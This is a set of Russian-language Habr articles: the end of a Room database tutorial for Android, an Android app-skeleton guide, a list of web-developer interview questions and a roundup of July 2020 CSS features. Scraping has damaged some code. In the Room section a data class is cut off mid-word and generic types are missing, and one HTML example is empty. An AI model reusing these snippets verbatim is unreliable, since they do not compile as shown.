* `@Query` - аннотация, которая позволяет выполнить SQL-запрос в методах DAO-интерфейса.
* `@Insert` - аннотация, которая позволяет выполнить вставку в таблицу базы данных.
* `@Update` - аннотация, которая позволяет выполнить обновление некоторых строк в таблице базы данных.
* `@Delete` - аннотация, которая позволяет выполнить удаление некоторых строк в таблице базы данных.
* `@Transaction` - аннотация, которая помечает метод в DAO-интерфейсе как транзакция.
Это далеко не все аннотации, которые предоставляет "Room", но являющиеся основными. Более подробно аннотации будут рассмотрены в практическом примере.
Также следует отметить, что существуют специальные *Tuple-классы*, которые никак не помечаются, но являются важной частью при разработке. Данные классы используются при взаимодействии с базой данных (например, когда нам необходимо получить какую-то часть данных из таблицы, а не все данные сразу). Более подробно Tuple-классы будут рассмотрены в практическом примере.
#### Практическая часть
В качестве не сложного примера, создадим приложение, которое будет "имитировать" создание и отображение статистических данных какой-то игры (например, судоку). Приложение будет состоять из двух экранов: первый - заполнение и отправка данных в базу; второй - список со всеми данными из базы.
Статистические данные будут состоять из следующих компонентов: результат игры (победа / поражение), уровень сложности (легкая, сложная и т.д.), количество ошибок, количество набранных очков.
Важное уточнение. В данной статье не будут приведены листинги кода с версткой xml-файлов и всех классов приложения. Полностью готовый проект можно найти [здесь](https://github.com/coder-chekunkov/Room-Article).
В первую очередь необходимо **указать все зависимости**, которые будут использованы приложением. Для этого в файл сборки `build.gradle` нашего приложения:
```
dependencies {
...
implementation 'androidx.room:room-runtime:2.5.0' // Библиотека "Room"
kapt "androidx.room:room-compiler:2.5.0" // Кодогенератор
implementation 'androidx.room:room-ktx:2.5.0' // Дополнительно для Kotlin Coroutines, Kotlin Flows
}
```
```
plugins {
...
id 'kotlin-kapt'
}
```
```
android {
...
defaultConfig {
...
kapt {
arguments {arg("room.schemaLocation", "$projectDir/schemas")}
}
}
}
```
Данные блоки кода подключают нужные библиотеки (первый блок), добавляют нужный плагин (второй блок) и указывают нужный путь к каталогу, который будет хранить схему нашей базы данных (третий блок).
Перед тем как перейти к описанию сущностей, необходимо **представить как база данных будет выглядеть**, из каких таблиц она будет состоять. В данном практическом примере база данных будет состоять из трех таблиц:
* таблица "difficulty\_levels", в которой будут хранится все доступные уровни сложности;
* таблица "results", в которой будут хранится все доступные результаты игры;
* таблица "statistic", в которой будут хранится все статистические данные.
Схематично база данных будет выглядеть следующим образом:
Схема базы данных.SQL-скрипт для такой базы данных выглядел бы следующим образом:
```
CREATE TABLE difficulty_levels(
id INTEGER PRIMARY KEY,
difficulty_name TEXT
);
CREATE TABLE results (
id INTEGER PRIMARY KEY,
result_name TEXT
);
CREATE TABLE statistic (
id INTEGER PRIMARY KEY,
result_id INTEGER,
difficult_id INTEGER,
mistakes INTEGER,
points INTEGER,
FOREIGN KEY (result_id) REFERENCES results(id),
FOREIGN KEY (difficult_id) REFERENCES difficulty_levels(id)
);
```
*Примечание: никогда не храните секретные данные (например, пароли) в открытом виде. Всегда хэшируйте их!*
После того, как была разобрана схема базы данных, необходимо перейти к **созданию сущностей**. Создадим *data-class* `DifficultyLevelsDbEntity`, который будет описывать таблицу "difficulty\_levels":
```
@Entity(tableName = "difficulty_levels")
data class DifficultyLevelsDbEntity(
@PrimaryKey val id: Long,
@ColumnInfo(name = "difficulty_name") val difficultyName: String
)
```
В данном случае мы пометили класс аннотацией `@Entity`, в которой переопределили свойство *tableName* - данное свойство задаёт имя таблицы. В случае, если бы свойство не было бы определенно, то таблица назвалась аналогично названию класса, т.е. DifficultyLevelsDbEntity.
Также поля класса были помечены аннотациями `@PrimaryKey` и `@ColumnInfo`. Первая аннотация помечает поле класса, как первичный ключ, а вторая задаёт название столбца отличное от названии переменной. У аннотации `@ColumnInfo` есть и другие свойства, например значение по умолчанию, более подробно про свойства данной аннотации можно узнать [здесь](https://developer.android.com/reference/androidx/room/ColumnInfo).
Аналогично создадим класс `ReultsDbEntity`:
```
@Entity(tableName = "results")
data class ResultsDbEntity(
@PrimaryKey val id: Long,
@ColumnInfo(name = "result_name") val resultName: String
)
```
Теперь перейдем к созданию более сложной сущности - `StatisticDbEntity`:
```
@Entity(
tableName = "statistic",
indices = [Index("id")],
foreignKeys = [
ForeignKey(
entity = ResultsDbEntity::class,
parentColumns = ["id"],
childColumns = ["result_id"]
),
ForeignKey(
entity = DifficultyLevelsDbEntity::class,
parentColumns = ["id"],
childColumns = ["difficult_id"]
)
]
)
data class StatisticDbEntity(
@PrimaryKey(autoGenerate = true) val id: Long,
@ColumnInfo(name = "result_id") val resultId: Long,
@ColumnInfo(name = "difficult_id") val difficultId: Long,
val mistakes: Long,
val points: Long
)
```
Аннотации в свойствах data-class'а очень похожи на те, что были созданы ранее. Единственное отличие - в `@PrimaryKey` было определено свойство *autoGenerate = true*. Данное свойство "объясняет" библиотеке, что при вставке нового объекта в таблицу, необходимо сгенерировать индекс самостоятельно. Например, в таблице находится пять элементов, при вставке нового элемента поле *id* автоматически станет равно шести.
Также в аннотации `@Entity` было определенно больше свойств. Свойство *indices* "объясняет" библиотеки по каком полю производить индексацию, в данном случае - *id*.
Свойство *foreignKeys* объявляет составные ключи. В данном случае составных ключа два - *result\_id* и *difficult\_id*. В объекте *ForeignKey* указываются сущность-родитель (entity), столбец-родитель (parentColumns) и столбец-ребенок (childColumns).
После того как были созданы все сущности базы данных, создадим интерфейс, помеченный аннотацией `@Dao`. Данный интерфейс будет взаимодействовать с базой данных с помощью специальных методов. Пока оставим данный интерфейс пустым, к его реализации следует вернуться чуть позже:
```
@Dao
interface StatisticDao {
}
```
Когда сущности были созданы, dao-интерфейс объявлен необходимо создать абстрактный класс `AppDatabase`, который будет описывать базу данных:
```
@Database(
version = 1,
entities = [
DifficultyLevelsDbEntity::class,
ResultsDbEntity::class,
StatisticDbEntity::class
]
)
abstract class AppDatabase : RoomDatabase() {
abstract fun getStatisticDao(): StatisticDao
}
```
Данный класс помечен аннотацией `@Database`, в которой необходимо обязательно описать два свойства: *entities* и *version*. Первое свойство принимает все сущности, которые были описаны выше, а второе свойство задаёт версию базы данных.
Версия базы данных используется для контроля базы данных, ее данных и т.д. Зачастую это используется при миграции базы данных с одной версии на другую, но это уже совсем другая история...
В самом классе создан абстрактный метод, который возвращает dao-интерфейс.
Так же **создадим tupple-класс** `StatisticInfoTuple`, который будет использоваться при "вытягивании" статистических данных из таблицы. Данный класс очень похож на *StatisticDbEntity*, но поля, которые хранят результат и уровень сложности, уже имеют тип String, так как там будут хранится значения результата и уровня сложности.
```
data class StatisticInfoTuple(
val id: Long,
@ColumnInfo(name = "result_name") val result: String,
@ColumnInfo(name = "difficulty_name") val difficult: String,
val mistakes: Long,
val points: Lon
```
После всех проделанных действий необходимо перейти к **реализации dao-интерфейса**. В данном интерфейсе создадим три метода, которые будут вставлять новые статистические данные, удалять данные по уникальному значению (id) и получать список всех данных из таблицы *statistic*:
```
@Insert(entity = StatisticDbEntity::class)
fun insertNewStatisticData(statistic: StatisticDbEntity)
@Query("SELECT statistic.id, result_name, difficulty_name, mistakes, points FROM statistic\n" +
"INNER JOIN results ON statistic.result_id = results.id\n" +
"INNER JOIN difficulty_levels ON statistic.difficult_id = difficulty_levels.id;")
fun getAllStatisticData(): List
@Query("DELETE FROM statistic WHERE id = :statisticId")
fun deleteStatisticDataById(statisticId: Long)
```
Метод *insertNewStatisticData* принимает объект класса StatisticDbEntitty - объект, который необходимо вставить. Также данный метод помечен аннотацией `@Insert`, в которой определено свойство entity, благодаря которому происходит вставка в нужную таблицу.
Методы *getAllStatisticData* и *deleteStatisticDataById* помечены аннотацией `@Query`, которая принимает строку с SQL-запросом. Именно благодаря данному запросу выполняется получение всех элементов или удаление какого-то конкретного элемента.
И последнее, что необходимо сделать с базой данной - создать ее. Для этого выполним следующее:
```
object Dependencies {
private lateinit var applicationContext: Context
fun init(context: Context) {
applicationContext = context
}
private val appDatabase: AppDatabase by lazy {
Room.databaseBuilder(applicationContext, AppDatabase::class.java, "database.db")
.createFromAsset("room_article.db")
.build()
}
}
```
В данном примере создается база данных *appDatabase* с помощью специального билдера: `Room.databaseBuilder`, который принимает контекст, класс, содержащий описание нашей базы данных, и название самой базы.
Так же у билдера вызван метод `createFromAssets`, данный метод заполняет базу данных приготовленными значениями. Т.е., если необходимо, чтобы при инициализации база данных хранила в себе какие-либо значения (например, уровни сложности и доступные результаты), нужно создать отдельно базу данных с помощью сторонних программ, таких как *DB Browser for SQLite*, заполнить ее и сохранить ее в папку *assets* приложения.
После того, как все манипуляции с базой данных были реализованы, необходимо **создать data-класс** `Statistic`, который будет использоваться во всем приложении. В данном классе создан метод `toStatisticDbEntity`, конвертирующий данный класс в сущность:
```
data class Statistic(
val resultId: Long,
val difficultId: Long,
val mistakes: Long,
val points: Long
) {
fun toStatisticDbEntity(): StatisticDbEntity = StatisticDbEntity(
id = 0,
resultId = resultId,
difficultId = difficultId,
mistakes = mistakes,
points = points
)
}
```
Теперь необходимо **создать репозиторий**, который будет обращаться к dao-интерфейсу и манипулировать данными базы данных:
```
class StatisticRepository(private val statisticDao: StatisticDao) {
suspend fun insertNewStatisticData(statisticDbEntity: StatisticDbEntity) {
withContext(Dispatchers.IO) {
statisticDao.insertNewStatisticData(statisticDbEntity)
}
}
suspend fun getAllStatisticData(): List {
return withContext(Dispatchers.IO) {
return@withContext statisticDao.getAllStatisticData()
}
}
suspend fun removeStatisticDataById(id: Long) {
withContext(Dispatchers.IO) {
statisticDao.deleteStatisticDataById(id)
}
}
}
```
В данном репозитории три метода, которые вставляют новые данные, получают всю статистику и удаляют какой-то элемент по идентификатору. Все эти методы являются *suspend-функциями*, т.к. будут вызываться из корутин. Так же следует изменить Dispatcher (*withContext*), т.к. обращаться к базе данных из основного потока нельзя.
Все эти методы вызываются в корутинах, запущенных во ViewModel, например вставка нового значения:
```
fun insertNewStatisticDataInDatabase(mistakes: Long, points: Long) {
viewModelScope.launch {
val newStatistic = Statistic(currentResult, currentDifficultyLevel, mistakes, points)
statisticRepository.insertNewStatisticData(newStatistic.toStatisticDbEntity())
}
}
```
Весь рабочий код Вы можете найти [здесь](https://github.com/coder-chekunkov/Room-Article).
#### Рекомендованные источники
В данной статье были разобраны основы библиотеки. Естественно, это далеко не все, что позволяет делать "Room". Если Вы хотите сильнее углубиться в эту тему изучите следующие источники, которые могут помочь Вам:
* Google Android Documentation - [ссылка](https://developer.android.com/training/data-storage/room).
* Metanit - Введение в SQLite - [ссылка](https://metanit.com/sql/sqlite/1.1.php).
* Android - SQLite (база данных, часть 1) - [ссылка](https://youtu.be/TwlJVBYQA9w).
* Android - Room (часть 1) - [ссылка](https://youtu.be/-kfjn_ykSLI). | https://habr.com/ru/post/713518/ | null | ru | null |
# Простой каркас Android приложения
Самым сложным этапом в любом деле, пожалуй, является поиск точки старта. При создании приложений для android эту задачу приходится делить на несколько и определять, например, для каких версий android должно быть будущее приложение.
Не буду разводить демагогию и перейду к самой сути. Для создания, с Вашего позволения, стандартно-шаблонного приложения (левое слайдинг-меню, actionbar), которое будет одинаково смотреться как на android-2.2 так и на android-4 я предлагаю не изобретать велосипеды и использовать готовые решения [actionbar-sherlock](http://actionbarsherlock.com/) и [sliding-menu](https://github.com/jfeinstein10/SlidingMenu).
В этой статье я нарочно опущу процесс установки среды разработки, но буду подразумевать, что разработка ведется в [eclipse android sdk](http://developer.android.com/sdk/index.html).
##### Подготовка
* Скачиваем и импортируем в рабочее пространство проекты [actionbar-sherlock](http://actionbarsherlock.com/) и [sliding-menu](https://github.com/jfeinstein10/SlidingMenu).
* Для проекта sliding-menu устанавливаем зависимость от проекта actionbar-sherlock.
*При установке зависимостей можно выскочить ошибка, что jar файлы имеют разные SHA. В таком случае удалите файлы android-support-v4.jar из папки libs проекта sliding-menu*
* Создаем новый проект для своего приложения, как обычно. При установке выбираем Minimum-Required-SDK как API8 (android-2.2) и Target SDK какой требуется (API14 и выше). Устанавливаем нашему проекту зависимости от проектов actionbar-sherlock и sliding-menu.
*Возможно, что будет опять конфликт jar файлов, как в пункте выше. Тогда просто удалите из проекта своего приложения файл android-support-v4.jar в папке libs.*
Теперь почти все готово для создания нашего приложения, но если Вы запустите проект на android-2.2 и android-4 то увидите, что приложения выглядят абсолютно по-разному. Чтобы это исправить провернем несколько несложных манипуляций:
* В папке res создадим папку drawable
* Из папки drawable-mdpi перенесем файл иконки приложения (по-умолчанию eclipse обзывает его ic\_launcher.png) в папку drawable
* Удалим папки drawable-XXX и папки values-XXX (мое мнение, что данные папки должны создаваться по мере необходимости и/или предрелизной подготовки приложения)
* В файл res/values/styles.xml укажем, что стиль AppBaseTheme будет наследоваться от стиля style/Theme.Sherlock.Light
##### Сама соль
У нас все готово для создания приложения – у нас одинаковый внешний вид приложения в стиле 4-го android и это все одинаково прекрасно смотрится и на android-2.2.
На данный момент у нас не хватает только бокового меню. Для его реализации создадим файл разметки в res/layout и назовем его, к примеру, sidemenu.xml. Пока трогать его не будем.
Перейдем к главной activity (если не создано, создайте). Наша activity будет наследоваться не от стандартного класса activity, а от класса SherlockFragmentActivity.
В методе onCreate опишем реализацию нашего бокового меню:
```
SlidingMenu menu = new SlidingMenu(this);
menu.setMode(SlidingMenu.LEFT);
menu.setTouchModeAbove(SlidingMenu.TOUCHMODE_FULLSCREEN);
menu.setFadeDegree(0.35f);
menu.attachToActivity(this, SlidingMenu.SLIDING_CONTENT);
menu.setMenu(R.layout.sidemenu);
menu.setBehindWidth(200);
menu.setBackgroundColor(0xFF333333);
getSupportActionBar().setHomeButtonEnabled(true);
```
После этих действий у нас готова болванка для создания приложения, которое имеет боковое меню (не забудьте внести свою разметку в файл res/layout/sidemenu.xml), которое открывается/закрывается по «потягиванию» вправо/влево, а так же наше приложение имеет одинаковый внешний вид для всех версий android. В качестве приятного бонуса мы получили еще и полностью кастомизируемый actionbar (о нем я постараюсь рассказать в следующем посте).
Приложу дополнительно исходник такого болванистого проекта: [Скачать](https://dl.dropboxusercontent.com/u/25351036/habr/FTest.zip)
В итоге болванка будет выглядеть примерно так:
Всем спасибо за внимание и приятной разработки!
Полезные ссылки:
[Android SDK](http://developer.android.com/sdk/index.html)
[ActionBarSherlock](http://actionbarsherlock.com)
[Sliding Menu](https://github.com/jfeinstein10/SlidingMenu)
[Создание каркаса онлайн](http://androidkickstartr.com/) (спасибо [akira](http://habrahabr.ru/users/akira/))
[HoloEverywhere](https://github.com/Prototik/HoloEverywhere) — Holo стиль для приложений под Android 2 и выше (спасибо [Dimmerg](http://habrahabr.ru/users/dimmerg/))
[Боковое меню нативным способом](http://developer.android.com/training/implementing-navigation/nav-drawer.html) (спасибо [zserge](http://habrahabr.ru/users/zserge/)) | https://habr.com/ru/post/182780/ | null | ru | null |
# 20 вопросов, которые задаются на интервью веб-разработчикам
*Недавно в **SEOmoz** состоялись собеседования с кандидатами на должность **веб-разработчика**. Готовясь к интервью, автор статьи составил **список технических вопросов**, которые, на его взгляд, было бы уместно задать. После собеседований он решил суммировать результаты и составить более обширный [список вопросов](http://blog.mbaconsult.ru/blog/karera/10-voprosov-dlya-sobesedovaniya-s-kandidatom-na-it-dolzhnost/), который может пригодиться как интервьюерам, так и интервьюируемым*.
Получившийся перечень не ориентирован на какую-то конкретную должность, он сбалансирован, с одной стороны, между дизайном, HTML и юзабилити, с другой – между бэк-эндом, базами данных и программированием. Фокус немного смещен в сторону веб-разработки, поэтому здесь нет вопросов типа «Почему вы хотите работать в такой-то компании?» (порядок вопросов в данном списке произволен).
1. Какие профессиональные сайты и блоги вы регулярно читаете?
Этот вопрос поможет вам составить представление о том, насколько человек осведомлен об актуальных тенденциях, а также – насколько ему вообще интересна данная тематика. Вы сможете отделить людей, для которых это не только работа, но и хобби, от тех, кто просто пытается гнаться за высокой зарплатой.
2. Что вы предпочитаете – работать в одиночку или в команде?
Ответ на этот вопрос важен в зависимости от предполагаемого рабочего окружения. Если ваш проект подразумевает тесное взаимодействие между разработчиками, очень хорошо, если новый человек будет иметь опыт продуктивной [командной работы](http://blog.mbaconsult.ru/blog/personal/potryasayushchaya-produktivnost-5-sposobov-povysheniya-komandnoy-proizvoditelnosti/). С другой стороны, у многих разработчиков всё получается гораздо лучше, если они трудятся сольно. Постарайтесь найти человека, который в этом смысле отвечал бы вашим ожиданиям.
3. Насколько уверенно вы чувствуете себя, если приходится писать HTML «от руки»? (+задание)
Несмотря на то, что человек может написать в резюме, что он эксперт в HTML, на деле может оказаться, что писать на HTML с нуля он и не умеет. Такие люди полагаются на сторонние программы или на то, что всегда смогут подглядеть в мануал. Любой сколько-нибудь стоящий разработчик просто обязан быть в состоянии написать простой HTML-код, никуда не подглядывая. Несложное задание может заключаться в том, что вы чертите схему фейкового сайта и просите написать соответствующий HTML-код. Усложнять не надо – вы должны просто убедиться, что человек в курсе самого главного, а также обратить внимание на такие ошибки, как пропуск тегов
```
```
и серьезные упущения некоторых элементов. Если кто-то напишет с ним вполне можно попрощаться и позвать следующего кандидата.
4. Что такое w3c?
Это стандарты веб-разработки, в соответствии с которыми (хотелось бы верить) все делается. Не надо требовать цитат по поводу миссии w3c, но человек должен, как минимум, представлять, что это такое.
5. Можете ли вы написать безтабличный XHTML? Валидируете ли вы свой код?
Искореняйте старомодный табличный дизайн! Найдите такого разработчика, который использует элементы HTML так, как они были задуманы изначально. Также бывают разработчики, которые говорят, что могут писать без таблиц, но в реальности – по привычке или из удобства – все равно их используют. Можно нарисовать простое навигационное меню или статью и попросить создать под нарисованное HTML-код. Можно схитрить и представить данные как бы в табличном виде – будет бонусом, если человек догадается, что при таком раскладе таблица как раз вполне уместна.
6. Какой инструмент разработки нравится вам больше всего и почему?
Если человек скажет, что Notepad, вы, наверно, разговариваете не с тем человеком. Такой вопрос не только позволит вам «прощупать» уровень компетентности, но и понять, насколько органично инструментарий соискателя соотносится с тем, что используется у вас.
7. Опишите или покажите, что вы умеете в \*nix shell?
Обратите внимание на то, как человек работает без привычного ему интерфейса. Задайте пару вопросов вроде того, как рекурсивно скопировать директорию или как сделать файл доступным для чтения только владельцу. Выясните, с какими операционными системами человек умеет работать.
8. Какие умения и технологии вам больше всего хотелось бы усвоить или усовершенствовать?
Прозондируйте почву на предмет того, насколько планы собеседника соответствуют тому, что от него ожидается на данном рабочем месте или в компании в целом.
9. Покажите мне ваше портфолио!
Портфолио может многое рассказать о разработчике. Есть ли у него вкус? Что для него более важно – креатив или логика? Важнее всего обращать внимание на солидные, масштабные, ЗАВЕРШЕННЫЕ проекты. Пяток-другой набросков и хакнутых скриптов – признак неопытности и некомпетентности.
10. С сайтами каких масштабов вам приходилось работать?
Ищите разработчика, у которого есть опыт с сайтами сходных с вашим масштабов. Человек, умеющий справляться с большим трафиком и большими размерами, может оказаться беспомощным в простой настройке Apache или оптимизации тяжелых SQL-запросов. С другой стороны, разработчики, которые обычно занимаются мелкими сайтами, могут подмечать вещи, которые их «более крупным» коллегам недоступны. Допустим, речь может идти об элементарной визуальной привлекательности решения.
11. Покажите мне ваш код!
Архаичный HTML или навороченный Ruby on Rails? Неважно! Все равно просите показать образцы кода. Исходники могут многое рассказать о привычках человека, гораздо больше, чем вы думаете. Чистый, элегантный код часто может указывать на методичного, мощного разработчика. В резюме может быть написано, что у человека более 7-лет опыта в написании скриптов на perl, но это может быть 7 лет плохой работы. Также постарайтесь получить много исходников, а не просто кусочки HTML. 20-30 строк к собеседованию подготовить может каждый, вам же важно видеть положение дел в целом. Не надо требовать кода полных работающих приложений, просто он должен отвечать на все ваши вопросы.
12. Перечислите несколько сайтов, которые вас по-настоящему восхищают (с точки зрения разработки)?
Поймите, что человека [вдохновляет](http://blog.mbaconsult.ru/blog/personal/luchshiy-sposob-zadeystvovat-tvorcheskiy-potentsial/). Это не обязательно должно быть из серии «должен знать каждый», но у хорошего разработчика всегда есть несколько фаворитов.
13. Исправьте это, пожалуйста…
Дайте человеку код, написанный на языке, на котором у вас ведется разработка, который требуется знать на предлагаемой должности. Пусть соискатель пройдет этот код построчно и укажет на все ошибки.
14. Я только что открыл созданный вами сайт, а у меня показывает пустую страницу. Продемонстрируйте мне пошагово, что вы будете делать, чтобы решить проблему...
Это отличный вопрос для того, чтобы определить, как кандидат в целом может применять свои умения. Здесь станут ясны способности в смысле саппорта, от самых основных до решения проблем с сервером.
15. Какой ваш любимый язык разработки и почему? Какие возможности вы хотели бы добавить к этому языку?
Вопрос о дополнительных возможностях исключительно полезен – он выявляет то, насколько человек опытен в программировании вообще.
16. Есть ли какой-нибудь язык, который вас пугает?
Когда проясняется одна загадка, за ней открывается десять других. Если собеседник расскажет вам о своих неудачах, это поможет понять, сколько он на самом деле знает.
17. Время аббревиатур
Некоторые могут заявить, что знание аббревиатур – это чепуха, но есть некоторые такие сокращения, которые должны быть вшиты в мозг разработчика (допустим, HTML и CSS). Это вопрос из серии телефонных, который помогает отсеивать неподходящих людей еще на подступах к вашей компании.
18. Каким браузером вы пользуетесь?
Правильный ответ: всеми. Компетентный разработчик должен быть знаком с понятием кроссбраузерной совместимости, причем — знаком на деле. Ясно, что у каждого есть любимый браузер, который используется для серфинга, но ответ на этот вопрос может помочь плавно перейти к теме кроссбраузинга. Кроме того, если речь идет о должности, связанной с CSS/HTML, полезно поинтересоваться установленными тулбарами.
19. Оцените по шкале от 1 до 5, насколько вам интересны следующие задачи (1 – совсем не интересно, 5 – чрезвычайно интересно)
Предложите список задач на данной позиции. Когда вы увидите рейтинг, это поможет вам понять, насколько человек подходит на место.
20. Какие собственные проекты вы собираетесь продолжать?
Почти у каждого разработчика есть персональные проекты, которыми ему нравится заниматься на досуге. Это еще один вопрос, который помогает отделить страстных разработчиков от тех, кто привык работать строго в режиме с девяти до пяти. Это также хороший вопрос для завершения собеседования (потому что ответ на него обычно легкий и приятный).
Автор перевода — Давиденко Вячеслав, основатель компании [MBA Consult](http://www.mbaconsult.ru/). | https://habr.com/ru/post/294492/ | null | ru | null |
# Нововведения CSS – Июль 2020 (Gap, Aspect ratio, Masonry, Subgrid)
*Приветствую. Представляю вашему вниманию перевод статьи [«CSS News July 2020»](https://www.smashingmagazine.com/2020/07/css-news-july-2020/), опубликованной 7 июля 2020 года автором Rachel Andrew*
В последнее время скорость внедрения новых возможностей технологий веб-разработки существенно увеличилась по сравнению с тем, как это было раньше. Данная статья содержит подборку новых CSS-функций, поддержка которых уже сейчас появляется в современных браузерах. Если вы относитесь к разработчикам, которым не нравится читать о технологиях, если их нельзя сразу же начать применять, вероятно, эта статья может быть вам не интересна. Однако, если вам интересно узнать, что нас ждёт в самое ближайшее время и уже сейчас опробовать это в бета-версии браузера, тогда читайте дальше.
Gap для Flexbox
---------------
Давайте начнём с того, что уже реализовано в релизной версии одного браузера и бета-версиях других браузеров.
> На момент перевода статьи поддерживается всеми современными браузерами (насчёт Safari точно неизвестно)
В CSS Grid мы можем использовать свойства `gap`, `column-gap` и `row-gap` для определения отступов между рядами, колонками или и тем и другим одновременно. Свойство `column-gap` также встречается в [Мультиколонках](http://vhttps://habr.com/ru/post/469395/) для создания отступов между этими самыми колонками.
Хотя для создания отступов между grid-элементами можно использовать margin, плюсом свойства `gap` является то, что вы получаете отступы только между элементами, отступы от края grid-контейнера при этом не образуются. До сих пор для создания отступов между flex-элементами мы, как раз, и использовали margin. При этом, чтобы не допустить появления отступов от края flex-контейнера, приходилось применять к нему отрицательные margin.
Было бы неплохо иметь такое же свойство `gap` и для Flexbox, не так ли? Хорошая новость в том, что это произошло – его поддержка уже реализована в Firefox и Chrome.
В следующем CodePen вы можете увидеть все три варианта. В первом варианте flex-элементы используют margin с каждой стороны. Это создаёт отступ в начале и в конце flex-контейнера. Во втором варианте для flex-контейнера используется отрицательный margin, чтобы вытащить этот выступающий margin за пределы границ контейнера. В третьем примере margin не используются, а вместо них задаётся `gap: 20px`, создающий отступ только между элементами.
### Mind the Gap
Реализация `gap` для Flexbox выделяет несколько интересных моментов. Во-первых, как вы можете помнить, когда функционал отступов был впервые представлен в Grid Layout, были свойства:
* grid-gap
* grid-row-gap
* grid-column-gap
Эти свойства были доступны сразу, как только браузеры получили поддержку CSS Grid. Но как свойства выравнивания (`justify-content`, `align-content`, `align-items`) сначала появились в Flexbox, а потом стали доступны в Grid, так и свойства `gap` со временем были переименованы и стали доступны не только в CSS Grid.
Вместе со свойствами выравнивания, свойства `gap` теперь относятся к спецификации "Box Alignment". Данная спецификация работает с выравниванием и распределением пространства, поэтому является лучшим местом для них. Чтобы уберечь нас от получения множества свойств, с префиксами из каждой спецификации, они также были переименованы, чтобы избавиться от префикса `"grid–"`.
Если же в вашем коде встречаются свойства с префиксом `grid–`, не стоит беспокоиться. Такой способ записи был оставлен как псевдоним для этих свойств, поэтому ваш код не сломается.
### Проверка поддержки свойств "gap" для Flexbox
Вы могли подумать, что можете свободно применять свойства "gap" для Flexbox, а для проверки наличия его поддержки использовать функциональные запросы "Feature Queries" с фолбэком с использованием "margin". К сожалению, это не так, поскольку функциональные запросы проверяют имя и значение. Например, если я хочу проверить наличие поддержки CSS Grid, я могу использовать следующий запрос:
```
@supports (display: grid) {
.grid {
/* grid layout code here */
}
}
```
При проверке же поддержки свойства `gap: 20px`, я бы получила положительный ответ от Chrome, который на момент составления статьи не поддерживал "gap" в Flexbox, но поддерживал в CSS Grid. Всё, что делают функциональные запросы, так это проверяют, распознаёт ли браузер свойство и значение. У них нет возможности проверить наличие поддержки данного свойства в режиме раскладки Flexbox. Я подняла этот вопрос как проблему в [рабочей группе CSS](https://github.com/w3c/csswg-drafts/issues/3559), однако это оказалось не так просто исправить.
Соотношение сторон
------------------
Порой нам хочется, чтобы даже при адаптивном изменении размеров, элемент сохранял фиксированное соотношение сторон. Например, в случае с изображениями или видео. Если вы размещаете на странице изображения или видео непосредственно с помощью HTML-тегов `img` или `video`, они по умолчанию сохраняют изначально присущее им соотношение сторон (если только вы принудительно не измените ширину или высоту). Однако, порой нам нужно добавить элемент, у которого одна сторона гибко заполняет доступное пространство, а другая – изменяется исходя из заданного соотношения сторон. Чаще всего это применяется при встраивании в разметку видео через фрейм, однако помимо этого, вы можете захотеть сделать, например, идеальные квадратные области на сетке (или что-то другое, что требует, чтобы размер одной стороны изменялся в зависимости от изменения размера другой).
В данный момент для задания подобного поведения мы используем [приём с padding](https://css-tricks.com/aspect-ratio-boxes/), который основывается на том, что при использовании процентов, размер верхнего и нижнего "padding" элемента рассчитывается исходя из его ширины. Это не самое элегантное решение проблемы, но оно работает.
Новое свойство "aspect-ratio" решает эту задачу, позволяя нам указать необходимое соотношение сторон элемента. Chrome реализовал это в версии "Canary", поэтому вы можете увидеть пример работы данного функционала, если активируете флаг *"Experimental Web Platform Features"*.
Я создала grid-раскладку и задала элементам сетки соотношение сторон `"1 / 1"`. Ширина элементов определяется шириной их колоночного трека. Высота рассчитывается из ширины, чтобы образовать квадрат. Затем я добавила небольшой поворот.
В Chrome Canary можно ознакомиться с демо, чтобы увидеть, как даже при увеличении или сужении трека, элементы остаются квадратными благодаря тому, что их высота рассчитывается в пропорции "`1 / 1`" по отношению к ширине.
Встроенная поддержка Masonry
----------------------------
Разработчики часто спрашивают, может ли CSS Grid использоваться для создания Masonry или Pinterest-подобного макета. Хотя некоторые демо с разметкой, созданной с помощью CSS Grid, и похожи на подобные решения, данная технология разрабатывалась не для создания Masonry сеток.
Чтобы объяснить это, вам нужно иметь представление, что такое Masonry. В типичной Masonry сетке элементы отображаются построчно. Как только первая строка заполнена, элементы начинают заполнять следующую. Однако, если некоторые из элементов, расположенных в первой строке, короче других, элементы из второй строки расположатся выше, чтобы заполнить пробел. При помощи JavaScript такая сетка реализовывается при помощь [библиотеки Masonry](https://masonry.desandro.com/).
Если вы попытаетесь создать такой макет с помощью CSS Grid и его свойств автоматического расположения элементов, то увидите, что упомянутое смещение элементов вверх для заполнения пробелов отсутствует. Они располагаются в конкретных строках и колонках, потому что именно для такого поведения Grid и разрабатывался.
Так может ли CSS Grid использоваться для создания Masonry сетки? Один из инженеров Mozilla считает, что может и создал прототип такого функционала. Вы можете попробовать его с помощью Firefox Nightly, в разделе по URL-адресу `about:config` установив флаг **layout.css.grid-template-masonry-value.enabled**, на значение `true`.
Хотя это может быть очень востребованным для всех, кто создавал такой тип разметки с помощью JavaScript, многие из нас задаются вопросом, является спецификация CSS Grid подходящим местом для определения этого очень специфичного функционала. Вы можете ознакомиться с моими размышлениями по этому поводу в статье "[Does Masonry Belong In The CSS Grid Specification?](https://rachelandrew.co.uk/archives/2020/05/05/does-masonry-belong-in-the-css-grid-specification/)".
Subgrid
-------
Мы уже слышали раньше о начале поддержки значения `subgrid` в свойствах `grid-template-columns` и `grid-template-rows` в браузере Firefox. Использование этого значение подразумевает, что дочерние сетки могут наследовать размер и количество треков от сетки родительской. То есть, если элемент имеет свойство `display: grid` он может наследовать структуру строк и столбцов, которые он занимает на родительской сетке.
С данным функционалом можно ознакомиться в браузере Firefox. Также, у меня есть множество примеров, которые можно попробовать реализовать. Статья "[Digging Into The Display Property: Grids All The Way Down](https://www.smashingmagazine.com/2019/05/display-grid-subgrid/)" объясняет, чем Subgrid отличается от вложенных Grid-сеток, а "[CSS Grid Level 2: Here Comes Subgrid](https://www.smashingmagazine.com/2018/07/css-grid-2/)" является введением в спецификацию. Также, у меня есть несколько примеров в “[Grid by Example](https://gridbyexample.com/examples/#css-grid-level-2-examples)”.
Тем не менее, первый вопрос, который люди задают, когда говорю о Subgrid – "Когда он станет доступен в Chrome?". Я всё ещё не могу сказать, когда именно, но некоторые первые новости уже видны в самом ближайшем будущем. 18 июня в [блоке Chromium](https://blog.chromium.org/2020/06/improving-chromiums-browser.html) я анонсировала, что команда Microsoft Edge (в данный момент работающая над Chromium) перерабатывает Grid Layout в движок LayoutNG (движок следующего поколения для браузера Chromium). Часть этой работы также будет включать внедрение поддержки Subgrid.
